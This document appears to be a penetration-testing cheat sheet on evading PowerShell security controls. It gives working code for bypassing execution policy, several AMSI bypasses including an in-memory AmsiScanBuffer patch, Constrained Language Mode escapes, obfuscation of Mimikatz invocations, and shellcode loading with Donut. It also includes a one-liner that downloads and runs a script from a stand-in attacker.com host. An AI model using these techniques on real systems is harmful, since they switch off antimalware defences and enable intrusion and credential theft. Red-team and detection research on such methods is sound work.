PowerShell Bypassing
Techniques to bypass PowerShell security controls including execution policy, AMSI, and AV detection.
Methodology
- 1Bypass execution policy restrictions
- 2Evade AMSI (AntiMalware Scan Interface)
- 3Bypass Constrained Language Mode
- 4Obfuscate PowerShell payloads
- 5Use alternative execution methods
Detailed Steps
Execution policy is NOT a security boundary:
powershell
# Method 1: Bypass flag
powershell -ExecutionPolicy Bypass -File script.ps1
# Method 2: Remote download and execute
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')"
# Method 3: Read and pipe
Get-Content .\script.ps1 | PowerShell.exe -NoProfile -
# Method 4: Encode command
$command = 'Write-Host "Bypassed"'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand
# Method 5: Set for current session
Set-ExecutionPolicy -Scope Process -ExecutionPolicy BypassAMSI (Anti-Malware Scan Interface) Bypass:
powershell
# Classic AMSI bypass (often detected)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Obfuscated version
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Failed") {$f=$e}};$f.SetValue($null,$true)
# Reflection bypass
$ZQCUW = @"
using System;
using System.Runtime.InteropServices;
public class ZQCUW {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $ZQCUW
$BBWHVWQ = [ZQCUW]::LoadLibrary("amsi.dll")
$XPYMWR = [ZQCUW]::GetProcAddress($BBWHVWQ, "AmsiScanBuffer")
$p = 0
[ZQCUW]::VirtualProtect($XPYMWR, [uint32]5, 0x40, [ref]$p)
$TLML = "0xB8"
$PURX = "0x57"
$YNWL = "0x00"
$RTGX = "0x07"
$XVON = "0x80"
$WRUD = "0xC3"
$KTMJX = [Byte[]] ($TLML,$PURX,$YNWL,$RTGX,+$XVON,+$WRUD)
[System.Runtime.InteropServices.Marshal]::Copy($KTMJX, 0, $XPYMWR, 6)
# Matt Graeber's method
[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Management.Automation.CommandOrigin')).FullName), System.Object]" -as [String].Assembly.GetType('System.Type')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetPSAmsiScanContent')).Invoke('', [System.Management.Automation.CommandOrigin]::Internal)Check current language mode:
powershell
$ExecutionContext.SessionState.LanguageModeBypass methods:
powershell
# Method 1: Downgrade PowerShell version
powershell.exe -version 2
# Method 2: Custom runspace
$ExecutionContext.SessionState.LanguageMode = "FullLanguage"
# Method 3: PSBypassCLM (requires local admin)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U C:\temp\psby.exe
# Method 4: COM object abuse
$TypeBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('MyAssembly')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('MyModule', $false).DefineType('MyType', 'Public,Class')String obfuscation:
powershell
# Base64 encoding
$cmd = 'Invoke-Mimikatz'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
# String concatenation
$cmd = 'In' + 'voke-' + 'Mimikatz'
# Character code arrays
$cmd = [char]73+[char]110+[char]118+[char]111+[char]107+[char]101Using Invoke-Obfuscation:
powershell
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
SET SCRIPTPATH C:\path\to\script.ps1
ENCODING
1
OUT C:\obfuscated.ps1Reflective DLL injection:
powershell
# Load C# assembly from memory
$code = @"
using System;
using System.Runtime.InteropServices;
public class Evil {
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
}
"@
Add-Type $codeIn-memory .NET execution:
powershell
# Execute .NET assembly in memory
[System.Reflection.Assembly]::Load([byte[]]$assemblyBytes)Donut shellcode loader:
bash
# Generate shellcode from .NET exe
donut -f evil.exe -o evil.bin
# Inject with PowerShell
$bytes = [System.IO.File]::ReadAllBytes("evil.bin")
# ... inject shellcodeTools
Invoke-ObfuscationPSBypassCLMDonutAMSITrigger